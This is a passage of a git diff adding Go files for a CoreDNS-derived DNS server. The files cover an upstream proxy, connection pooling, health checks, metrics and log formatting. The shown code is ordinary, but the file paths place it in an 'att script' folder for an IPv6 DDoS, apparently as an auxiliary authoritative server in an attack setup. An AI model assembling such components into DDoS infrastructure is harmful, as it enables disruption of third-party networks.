*int64, minValue time.Duration, maxValue time.Duration) time.Duration { + rt := time.Duration(atomic.LoadInt64(currentAvg)) + if rt < minValue { + return minValue + } + if rt < maxValue/2 { + return 2 * rt + } + return maxValue +} + +func averageTimeout(currentAvg *int64, observedDuration time.Duration, weight int64) { + dt := time.Duration(atomic.LoadInt64(currentAvg)) + atomic.AddInt64(currentAvg, int64(observedDuration-dt)/weight) +} + +func (t *Transport) dialTimeout() time.Duration { + return limitTimeout(&t.avgDialTime, minDialTimeout, maxDialTimeout) +} + +func (t *Transport) updateDialTimeout(newDialTime time.Duration) { + averageTimeout(&t.avgDialTime, newDialTime, cumulativeAvgWeight) +} + +// Dial dials the address configured in transport, potentially reusing a connection or creating a new one. +func (t *Transport) Dial(proto string) (*persistConn, bool, error) { + // If tls has been configured; use it. + if t.tlsConfig != nil { + proto = "tcp-tls" + } + + t.dial <- proto + pc := <-t.ret + + if pc != nil { + ConnCacheHitsCount.WithLabelValues(t.addr, proto).Add(1) + return pc, true, nil + } + ConnCacheMissesCount.WithLabelValues(t.addr, proto).Add(1) + + reqTime := time.Now() + timeout := t.dialTimeout() + if proto == "tcp-tls" { + conn, err := dns.DialTimeoutWithTLS("tcp", t.addr, t.tlsConfig, timeout) + t.updateDialTimeout(time.Since(reqTime)) + return &persistConn{c: conn}, false, err + } + conn, err := dns.DialTimeout(proto, t.addr, timeout) + t.updateDialTimeout(time.Since(reqTime)) + return &persistConn{c: conn}, false, err +} + +// Connect selects an upstream, sends the request and waits for a response. +func (p *Proxy) Connect(ctx context.Context, state request.Request, opts Options) (*dns.Msg, error) { + start := time.Now() + + proto := "" + switch { + case opts.ForceTCP: // TCP flag has precedence over UDP flag + proto = "tcp" + case opts.PreferUDP: + proto = "udp" + default: + proto = state.Proto() + } + + pc, cached, err := p.transport.Dial(proto) + if err != nil { + return nil, err + } + + // Set buffer size correctly for this client. + pc.c.UDPSize = uint16(state.Size()) + if pc.c.UDPSize < 512 { + pc.c.UDPSize = 512 + } + + pc.c.SetWriteDeadline(time.Now().Add(maxTimeout)) + // records the origin Id before upstream. + originId := state.Req.Id + state.Req.Id = dns.Id() + defer func() { + state.Req.Id = originId + }() + + if err := pc.c.WriteMsg(state.Req); err != nil { + pc.c.Close() // not giving it back + if err == io.EOF && cached { + return nil, ErrCachedClosed + } + return nil, err + } + + var ret *dns.Msg + pc.c.SetReadDeadline(time.Now().Add(p.readTimeOut)) + for { + ret, err = pc.c.ReadMsg() + if err != nil { + // For UDP, if the error is not a network error keep waiting for a valid response to prevent malformed + // spoofs from blocking the upstream response. + // In the case this is a legitimate malformed response from the upstream, this will result in a timeout. + if proto == "udp" { + if _, ok := err.(net.Error); !ok { + continue + } + } + pc.c.Close() // connection closed by peer, close the persistent connection + if err == io.EOF && cached { + return nil, ErrCachedClosed + } + + // recover the origin Id after upstream. + if ret != nil { + ret.Id = originId + } + return ret, err + } + // drop out-of-order responses + if state.Req.Id == ret.Id { + break + } + } + // recovery the origin Id after upstream. + ret.Id = originId + + p.transport.Yield(pc) + + rc, ok := dns.RcodeToString[ret.Rcode] + if !ok { + rc = strconv.Itoa(ret.Rcode) + } + + RequestCount.WithLabelValues(p.addr).Add(1) + RcodeCount.WithLabelValues(rc, p.addr).Add(1) + RequestDuration.WithLabelValues(p.addr, rc).Observe(time.Since(start).Seconds()) + + return ret, nil +} + +const cumulativeAvgWeight = 4 diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/error.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/error.go" new file mode 100644 index 0000000..18618ad --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/error.go" @@ -0,0 +1,24 @@ +package proxy + +import "errors" + +var ( + // ErrNoHealthy means no healthy proxies left. + ErrNoHealthy = errors.New("no healthy proxies") + // ErrNoForward means no forwarder defined. + ErrNoForward = errors.New("no forwarder defined") + // ErrCachedClosed means cached connection was closed by peer. + ErrCachedClosed = errors.New("cached connection was closed by peer") +) + +// Options holds various Options that can be set. +type Options struct { + // ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag + ForceTCP bool + // PreferUDP use UDP protocol for upstream DNS request. + PreferUDP bool + // HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests + HCRecursionDesired bool + // HCDomain sets domain for Proxy healthcheck requests + HCDomain string +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/health.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/health.go" new file mode 100644 index 0000000..52bb667 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/health.go" @@ -0,0 +1,130 @@ +package proxy + +import ( + "crypto/tls" + "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/transport" + "sync/atomic" + "time" + + "github.com/miekg/dns" +) + +// HealthChecker 检查上游是否健康 +type HealthChecker interface { + Check(*Proxy) error + SetTLSConfig(*tls.Config) + GetTLSConfig() *tls.Config + SetRecursionDesired(bool) + GetRecursionDesired() bool + SetDomain(domain string) + GetDomain() string + SetTCPTransport() + GetReadTimeout() time.Duration + SetReadTimeout(time.Duration) + GetWriteTimeout() time.Duration + SetWriteTimeout(time.Duration) +} + +// dnsHc is a health checker for a DNS endpoint (DNS, and DoT). +type dnsHc struct { + c *dns.Client + recursionDesired bool + domain string +} + +// NewHealthChecker returns a new HealthChecker based on transport. +func NewHealthChecker(trans string, recursionDesired bool, domain string) HealthChecker { + switch trans { + case transport.DNS, transport.TLS: + c := new(dns.Client) + c.Net = "udp" + c.ReadTimeout = 1 * time.Second + c.WriteTimeout = 1 * time.Second + + return &dnsHc{ + c: c, + recursionDesired: recursionDesired, + domain: domain, + } + } + + log.Warningf("No healthchecker for transport %q", trans) + return nil +} + +func (h *dnsHc) SetTLSConfig(cfg *tls.Config) { + h.c.Net = "tcp-tls" + h.c.TLSConfig = cfg +} + +func (h *dnsHc) GetTLSConfig() *tls.Config { + return h.c.TLSConfig +} + +func (h *dnsHc) SetRecursionDesired(recursionDesired bool) { + h.recursionDesired = recursionDesired +} +func (h *dnsHc) GetRecursionDesired() bool { + return h.recursionDesired +} + +func (h *dnsHc) SetDomain(domain string) { + h.domain = domain +} +func (h *dnsHc) GetDomain() string { + return h.domain +} + +func (h *dnsHc) SetTCPTransport() { + h.c.Net = "tcp" +} + +func (h *dnsHc) GetReadTimeout() time.Duration { + return h.c.ReadTimeout +} + +func (h *dnsHc) SetReadTimeout(t time.Duration) { + h.c.ReadTimeout = t +} + +func (h *dnsHc) GetWriteTimeout() time.Duration { + return h.c.WriteTimeout +} + +func (h *dnsHc) SetWriteTimeout(t time.Duration) { + h.c.WriteTimeout = t +} + +// For HC, we send to . IN NS +[no]rec message to the upstream. Dial timeouts and empty +// replies are considered fails, basically anything else constitutes a healthy upstream. + +// Check is used as the up.Func in the up.Probe. +func (h *dnsHc) Check(p *Proxy) error { + err := h.send(p.addr) + if err != nil { + HealthcheckFailureCount.WithLabelValues(p.addr).Add(1) + p.incrementFails() + return err + } + + atomic.StoreUint32(&p.fails, 0) + return nil +} + +func (h *dnsHc) send(addr string) error { + ping := new(dns.Msg) + ping.SetQuestion(h.domain, dns.TypeNS) + ping.MsgHdr.RecursionDesired = h.recursionDesired + + m, _, err := h.c.Exchange(ping, addr) + // If we got a header, we're alright, basically only care about I/O errors 'n stuff. + if err != nil && m != nil { + // Silly check, something sane came back. + if m.Response || m.Opcode == dns.OpcodeQuery { + err = nil + } + } + + return err +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/metric.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/metric.go" new file mode 100644 index 0000000..0a1604c --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/metric.go" @@ -0,0 +1,49 @@ +package proxy + +import ( + "ohmydns2/plugin" + + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/promauto" +) + +// Variables declared for monitoring. +var ( + RequestCount = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: "proxy", + Name: "requests_total", + Help: "Counter of requests made per upstream.", + }, []string{"to"}) + RcodeCount = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: "proxy", + Name: "responses_total", + Help: "Counter of responses received per upstream.", + }, []string{"rcode", "to"}) + RequestDuration = promauto.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: plugin.Namespace, + Subsystem: "proxy", + Name: "request_duration_seconds", + Buckets: plugin.TimeBuckets, + Help: "Histogram of the time each request took.", + }, []string{"to", "rcode"}) + HealthcheckFailureCount = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: "proxy", + Name: "healthcheck_failures_total", + Help: "Counter of the number of failed healthchecks.", + }, []string{"to"}) + ConnCacheHitsCount = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: "proxy", + Name: "conn_cache_hits_total", + Help: "Counter of connection cache hits per upstream and protocol.", + }, []string{"to", "proto"}) + ConnCacheMissesCount = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: "proxy", + Name: "conn_cache_misses_total", + Help: "Counter of connection cache misses per upstream and protocol.", + }, []string{"to", "proto"}) +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/persistent.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/persistent.go" new file mode 100644 index 0000000..bd7193d --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/persistent.go" @@ -0,0 +1,157 @@ +package proxy + +import ( + "crypto/tls" + "sort" + "time" + + "github.com/miekg/dns" +) + +// a persistConn hold the dns.Conn and the last used time. +type persistConn struct { + c *dns.Conn + used time.Time +} + +// Transport hold the persistent cache. +type Transport struct { + avgDialTime int64 // kind of average time of dial time + conns [typeTotalCount][]*persistConn // Buckets for udp, tcp and tcp-tls. + expire time.Duration // After this duration a connection is expired. + addr string + tlsConfig *tls.Config + + dial chan string + yield chan *persistConn + ret chan *persistConn + stop chan bool +} + +func newTransport(addr string) *Transport { + print(addr) + t := &Transport{ + avgDialTime: int64(maxDialTimeout / 2), + conns: [typeTotalCount][]*persistConn{}, + expire: defaultExpire, + addr: addr, + dial: make(chan string), + yield: make(chan *persistConn), + ret: make(chan *persistConn), + stop: make(chan bool), + } + return t +} + +// connManager manages the persistent connection cache for UDP and TCP. +func (t *Transport) connManager() { + ticker := time.NewTicker(defaultExpire) + defer ticker.Stop() +Wait: + for { + select { + case proto := <-t.dial: + transtype := stringToTransportType(proto) + // take the last used conn - complexity O(1) + if stack := t.conns[transtype]; len(stack) > 0 { + pc := stack[len(stack)-1] + if time.Since(pc.used) < t.expire { + // Found one, remove from pool and return this conn. + t.conns[transtype] = stack[:len(stack)-1] + t.ret <- pc + continue Wait + } + // clear entire cache if the last conn is expired + t.conns[transtype] = nil + // now, the connections being passed to closeConns() are not reachable from + // transport methods anymore. So, it's safe to close them in a separate goroutine + go closeConns(stack) + } + t.ret <- nil + + case pc := <-t.yield: + transtype := t.transportTypeFromConn(pc) + t.conns[transtype] = append(t.conns[transtype], pc) + + case <-ticker.C: + t.cleanup(false) + + case <-t.stop: + t.cleanup(true) + close(t.ret) + return + } + } +} + +// closeConns closes connections. +func closeConns(conns []*persistConn) { + for _, pc := range conns { + pc.c.Close() + } +} + +// cleanup removes connections from cache. +func (t *Transport) cleanup(all bool) { + staleTime := time.Now().Add(-t.expire) + for transtype, stack := range t.conns { + if len(stack) == 0 { + continue + } + if all { + t.conns[transtype] = nil + // now, the connections being passed to closeConns() are not reachable from + // transport methods anymore. So, it's safe to close them in a separate goroutine + go closeConns(stack) + continue + } + if stack[0].used.After(staleTime) { + continue + } + + // connections in stack are sorted by "used" + good := sort.Search(len(stack), func(i int) bool { + return stack[i].used.After(staleTime) + }) + t.conns[transtype] = stack[good:] + // now, the connections being passed to closeConns() are not reachable from + // transport methods anymore. So, it's safe to close them in a separate goroutine + go closeConns(stack[:good]) + } +} + +// It is hard to pin a value to this, the import thing is to no block forever, losing at cached connection is not terrible. +const yieldTimeout = 25 * time.Millisecond + +// Yield returns the connection to transport for reuse. +func (t *Transport) Yield(pc *persistConn) { + pc.used = time.Now() // update used time + + // Make this non-blocking, because in the case of a very busy forwarder we will *block* on this yield. This + // blocks the outer go-routine and stuff will just pile up. We timeout when the send fails to as returning + // these connection is an optimization anyway. + select { + case t.yield <- pc: + return + case <-time.After(yieldTimeout): + return + } +} + +// Start starts the transport's connection manager. +func (t *Transport) Start() { go t.connManager() } + +// Stop stops the transport's connection manager. +func (t *Transport) Stop() { close(t.stop) } + +// SetExpire sets the connection expire time in transport. +func (t *Transport) SetExpire(expire time.Duration) { t.expire = expire } + +// SetTLSConfig sets the TLS config in transport. +func (t *Transport) SetTLSConfig(cfg *tls.Config) { t.tlsConfig = cfg } + +const ( + defaultExpire = 10 * time.Second + minDialTimeout = 1 * time.Second + maxDialTimeout = 30 * time.Second +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/proxy.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/proxy.go" new file mode 100644 index 0000000..246e3b2 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/proxy.go" @@ -0,0 +1,107 @@ +package proxy + +import ( + "crypto/tls" + "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/up" + "runtime" + "sync/atomic" + "time" +) + +// Proxy 定义了上游 +type Proxy struct { + fails uint32 + addr string + transport *Transport + readTimeOut time.Duration + + // 存活检查 + probe *up.Probe + health HealthChecker +} + +//TODO:增加对HTTPS的支持 + +// NewProxy returns a new proxy. +func NewProxy(addr, trans string) *Proxy { + p := &Proxy{ + addr: addr, + fails: 0, + probe: up.New(), + readTimeOut: 2 * time.Second, + transport: newTransport(addr), + } + p.health = NewHealthChecker(trans, true, ".") + runtime.SetFinalizer(p, (*Proxy).finalizer) + return p +} + +func (p *Proxy) Addr() string { return p.addr } + +// SetTLSConfig sets the TLS config in the lower p.transport and in the healthchecking client. +func (p *Proxy) SetTLSConfig(cfg *tls.Config) { + p.transport.SetTLSConfig(cfg) + p.health.SetTLSConfig(cfg) +} + +// SetExpire sets the expire duration in the lower p.transport. +func (p *Proxy) SetExpire(expire time.Duration) { p.transport.SetExpire(expire) } + +func (p *Proxy) GetHealthchecker() HealthChecker { + return p.health +} + +func (p *Proxy) Fails() uint32 { + return atomic.LoadUint32(&p.fails) +} + +// Healthcheck kicks of a round of health checks for this proxy. +func (p *Proxy) Healthcheck() { + if p.health == nil { + log.Warning("No healthchecker") + return + } + + p.probe.Do(func() error { + return p.health.Check(p) + }) +} + +// Down returns true if this proxy is down, i.e. has *more* fails than maxfails. +func (p *Proxy) Down(maxfails uint32) bool { + if maxfails == 0 { + return false + } + + fails := atomic.LoadUint32(&p.fails) + return fails > maxfails +} + +// Stop close stops the health checking goroutine. +func (p *Proxy) Stop() { p.probe.Stop() } +func (p *Proxy) finalizer() { p.transport.Stop() } + +// Start starts the proxy's healthchecking. +func (p *Proxy) Start(duration time.Duration) { + p.probe.Start(duration) + p.transport.Start() +} + +func (p *Proxy) SetReadTimeout(duration time.Duration) { + p.readTimeOut = duration +} + +// incrementFails increments the number of fails safely. +func (p *Proxy) incrementFails() { + curVal := atomic.LoadUint32(&p.fails) + if curVal > curVal+1 { + // overflow occurred, do not update the counter again + return + } + atomic.AddUint32(&p.fails, 1) +} + +const ( + maxTimeout = 2 * time.Second +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/type.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/type.go" new file mode 100644 index 0000000..3f66d93 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/type.go" @@ -0,0 +1,40 @@ +package proxy + +import "net" + +type transportType int + +const ( + typeUDP transportType = iota + typeTCP + typeTLS + typeHTTPS + typeTotalCount // keep this last +) + +func stringToTransportType(s string) transportType { + switch s { + case "udp": + return typeUDP + case "tcp": + return typeTCP + case "tcp-tls": + return typeTLS + case "tcp-https": + return typeHTTPS + } + + return typeUDP +} + +func (t *Transport) transportTypeFromConn(pc *persistConn) transportType { + if _, ok := pc.c.Conn.(*net.UDPConn); ok { + return typeUDP + } + + if t.tlsConfig == nil { + return typeTCP + } + // TODO:判断HTTPS和TLS + return typeTLS +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rand/rand.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rand/rand.go" new file mode 100644 index 0000000..fe103bb --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rand/rand.go" @@ -0,0 +1,34 @@ +package rand + +import ( + "math/rand" + "sync" +) + +// Rand is used for concurrency safe random number generator. +type Rand struct { + m sync.Mutex + r *rand.Rand +} + +// New returns a new Rand from seed. +func New(seed int64) *Rand { + return &Rand{r: rand.New(rand.NewSource(seed))} +} + +// Int returns a non-negative pseudo-random int from the Source in Rand.r. +func (r *Rand) Int() int { + r.m.Lock() + v := r.r.Int() + r.m.Unlock() + return v +} + +// Perm returns, as a slice of n ints, a pseudo-random permutation of the +// integers in the half-open interval [0,n) from the Source in Rand.r. +func (r *Rand) Perm(n int) []int { + r.m.Lock() + v := r.r.Perm(n) + r.m.Unlock() + return v +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rcode/rcode.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rcode/rcode.go" new file mode 100644 index 0000000..d221bcb --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rcode/rcode.go" @@ -0,0 +1,15 @@ +package rcode + +import ( + "strconv" + + "github.com/miekg/dns" +) + +// ToString convert the rcode to the official DNS string, or to "RCODE"+value if the RCODE value is unknown. +func ToString(rcode int) string { + if str, ok := dns.RcodeToString[rcode]; ok { + return str + } + return "RCODE" + strconv.Itoa(rcode) +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/replacer/replacer.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/replacer/replacer.go" new file mode 100644 index 0000000..93b7742 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/replacer/replacer.go" @@ -0,0 +1,275 @@ +package replacer + +import ( + "context" + "github.com/miekg/dns" + "ohmydns2/plugin/metadata" + "ohmydns2/plugin/pkg/dnstest" + "ohmydns2/plugin/pkg/request" + "strconv" + "strings" + "sync" + "time" +) + +// Replacer replaces labels for values in strings. +type Replacer struct{} + +// New makes a new replacer. This only needs to be called once in the setup and +// then call Replace for each incoming message. A replacer is safe for concurrent use. +func New() Replacer { + return Replacer{} +} + +// Replace performs a replacement of values on s and returns the string with the replaced values. +func (r Replacer) Replace(ctx context.Context, state request.Request, rr *dnstest.Recorder, s string) string { + return loadFormat(s).Replace(ctx, state, rr) +} + +const ( + headerReplacer = "{>" + // EmptyValue is the default empty value. + EmptyValue = "-" +) + +// labels are all supported labels that can be used in the default Replacer. +var labels = map[string]struct{}{ + "{type}": {}, + "{name}": {}, + "{class}": {}, + "{proto}": {}, + "{size}": {}, + "{remote}": {}, + "{port}": {}, + "{local}": {}, + // Header values. + headerReplacer + "id}": {}, + headerReplacer + "opcode}": {}, + headerReplacer + "do}": {}, + headerReplacer + "bufsize}": {}, + // Recorded replacements. + "{rcode}": {}, + "{rsize}": {}, + "{duration}": {}, + headerReplacer + "rflags}": {}, +} + +// appendValue appends the current value of label. +func appendValue(b []byte, state request.Request, rr *dnstest.Recorder, label string) []byte { + switch label { + case "{type}": + return append(b, state.Type()...) + case "{name}": + return append(b, state.Name()...) + case "{class}": + return append(b, state.Class()...) + case "{proto}": + return append(b, state.Proto()...) + case "{size}": + return strconv.AppendInt(b, int64(state.Req.Len()), 10) + case "{remote}": + return appendAddrToRFC3986(b, state.IP()) + case "{port}": + return append(b, state.Port()...) + case "{local}": + return appendAddrToRFC3986(b, state.LocalIP()) + // Header placeholders (case-insensitive). + case headerReplacer + "id}": + return strconv.AppendInt(b, int64(state.Req.Id), 10) + case headerReplacer + "opcode}": + return strconv.AppendInt(b, int64(state.Req.Opcode), 10) + case headerReplacer + "do}": + return strconv.AppendBool(b, state.Do()) + case headerReplacer + "bufsize}": + return strconv.AppendInt(b, int64(state.Size()), 10) + // Recorded replacements. + case "{rcode}": + if rr == nil || rr.Msg == nil { + return append(b, EmptyValue...) + } + if rcode := dns.RcodeToString[rr.Rcode]; rcode != "" { + return append(b, rcode...) + } + return strconv.AppendInt(b, int64(rr.Rcode), 10) + case "{rsize}": + if rr == nil { + return append(b, EmptyValue...) + } + return strconv.AppendInt(b, int64(rr.Len), 10) + case "{duration}": + if rr == nil { + return append(b, EmptyValue...) + } + secs := time.Since(rr.Start).Seconds() + return append(strconv.AppendFloat(b, secs, 'f', -1, 64), 's') + case headerReplacer + "rflags}": + if rr != nil && rr.Msg != nil { + return appendFlags(b, rr.Msg.MsgHdr) + } + return append(b, EmptyValue...) + default: + return append(b, EmptyValue...) + } +} + +// appendFlags checks all header flags and appends those +// that are set as a string separated with commas +func appendFlags(b []byte, h dns.MsgHdr) []byte { + origLen := len(b) + if h.Response { + b = append(b, "qr,"...) + } + if h.Authoritative { + b = append(b, "aa,"...) + } + if h.Truncated { + b = append(b, "tc,"...) + } + if h.RecursionDesired { + b = append(b, "rd,"...) + } + if h.RecursionAvailable { + b = append(b, "ra,"...) + } + if h.Zero { + b = append(b, "z,"...) + } + if h.AuthenticatedData { + b = append(b, "ad,"...) + } + if h.CheckingDisabled { + b = append(b, "cd,"...) + } + if n := len(b); n > origLen { + return b[:n-1] // trim trailing ',' + } + return b +} + +// appendAddrToRFC3986 will add brackets to the address if it is an IPv6 address. +func appendAddrToRFC3986(b []byte, addr string) []byte { + if strings.IndexByte(addr, ':') != -1 { + b = append(b, '[') + b = append(b, addr...) + b = append(b, ']') + } else { + b = append(b, addr...) + } + return b +} + +type nodeType int + +const ( + typeLabel nodeType = iota // "{type}" + typeLiteral // "foo" + typeMetadata // "{/metadata}" +) + +// A node represents a segment of a parsed format. For example: "A {type}" +// contains two nodes: "A " (literal); and "{type}" (label). +type node struct { + value string // Literal value, label or metadata label + typ nodeType +} + +// A replacer is an ordered list of all the nodes in a format. +type replacer []node + +func parseFormat(s string) replacer { + // Assume there is a literal between each label - its cheaper to over + // allocate once than allocate twice. + rep := make(replacer, 0, strings.Count(s, "{")*2) + for { + // We find the right bracket then backtrack to find the left bracket. + // This allows us to handle formats like: "{ {foo} }". + j := strings.IndexByte(s, '}') + if j < 0 { + break + } + i := strings.LastIndexByte(s[:j], '{') + if i < 0 { + // Handle: "A } {foo}" by treating "A }" as a literal + rep = append(rep, node{ + value: s[:j+1], + typ: typeLiteral, + }) + s = s[j+1:] + continue + } + + val := s[i : j+1] + var typ nodeType + switch _, ok := labels[val]; { + case ok: + typ = typeLabel + case strings.HasPrefix(val, "{/"): + // Strip "{/}" from metadata labels + val = val[2 : len(val)-1] + typ = typeMetadata + default: + // Given: "A {X}" val is "{X}" expand it to the whole literal. + val = s[:j+1] + typ = typeLiteral + } + + // Append any leading literal. Given "A {type}" the literal is "A " + if i != 0 && typ != typeLiteral { + rep = append(rep, node{ + value: s[:i], + typ: typeLiteral, + }) + } + rep = append(rep, node{ + value: val, + typ: typ, + }) + s = s[j+1:] + } + if len(s) != 0 { + rep = append(rep, node{ + value: s, + typ: typeLiteral, + }) + } + return rep +} + +var replacerCache sync.Map // map[string]replacer + +func loadFormat(s string) replacer { + if v, ok := replacerCache.Load(s); ok { + return v.(replacer) + } + v, _ := replacerCache.LoadOrStore(s, parseFormat(s)) + return v.(replacer) +} + +// bufPool stores pointers to scratch buffers. +var bufPool = sync.Pool{ + New: func() interface{} { + return make([]byte, 0, 256) + }, +} + +func (r replacer) Replace(ctx context.Context, state request.Request, rr *dnstest.Recorder) string { + b := bufPool.Get().([]byte) + for _, s := range r { + switch s.typ { + case typeLabel: + b = appendValue(b, state, rr, s.value) + case typeLiteral: + b = append(b, s.value...) + case typeMetadata: + if fm := metadata.ValueFunc(ctx, s.value); fm != nil { + b = append(b, fm()...) + } else { + b = append(b, EmptyValue...) + } + } + } + s := string(b) + //nolint:staticcheck + bufPool.Put(b[:0]) + return s +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/README.md" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/README.md" new file mode 100644 index 0000000..3811395 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/README.md" @@ -0,0 +1 @@ +所有*Ohmydns*接收到的请求将由request中的函数进行处理 \ No newline at end of file diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/edns0.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/edns0.go" new file mode 100644 index 0000000..99aad42 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/edns0.go" @@ -0,0 +1,30 @@ +package request + +import ( + "github.com/miekg/dns" + "ohmydns2/plugin/pkg/edns" +) + +func supportedOptions(o []dns.EDNS0) []dns.EDNS0 { + var supported = make([]dns.EDNS0, 0, 3) + // For as long as possible try avoid looking up in the map, because that need an Rlock. + for _, opt := range o { + switch code := opt.Option(); code { + case dns.EDNS0NSID: + fallthrough + case dns.EDNS0EXPIRE: + fallthrough + case dns.EDNS0COOKIE: + fallthrough + case dns.EDNS0TCPKEEPALIVE: + fallthrough + case dns.EDNS0PADDING: + supported = append(supported, opt) + default: + if edns.SupportedOption(code) { + supported = append(supported, opt) + } + } + } + return supported +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/http_request.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/http_request.go" new file mode 100644 index 0000000..1a37dd1 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/http_request.go" @@ -0,0 +1,25 @@ +package request + +import ( + "net/http" +) + +// HTTPRequest contains some connection state and is useful in plugin. +type HTTPRequest struct { + Req *http.Request + W http.ResponseWriter + + // Optional lowercased zone of this query. + Zone string + + // Cache size after first call to Size or Do. If size is zero nothing has been cached yet. + // Both Size and Do set these values (and cache them). + size uint16 // UDP buffer size, or 64K in case of TCP. + + // Caches + family int8 // transport's family. + ip string // client's ip. + port string // client's port. + localPort string // server's port. + localIP string // server's ip. +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/request.go" "b/att script/3 (v6 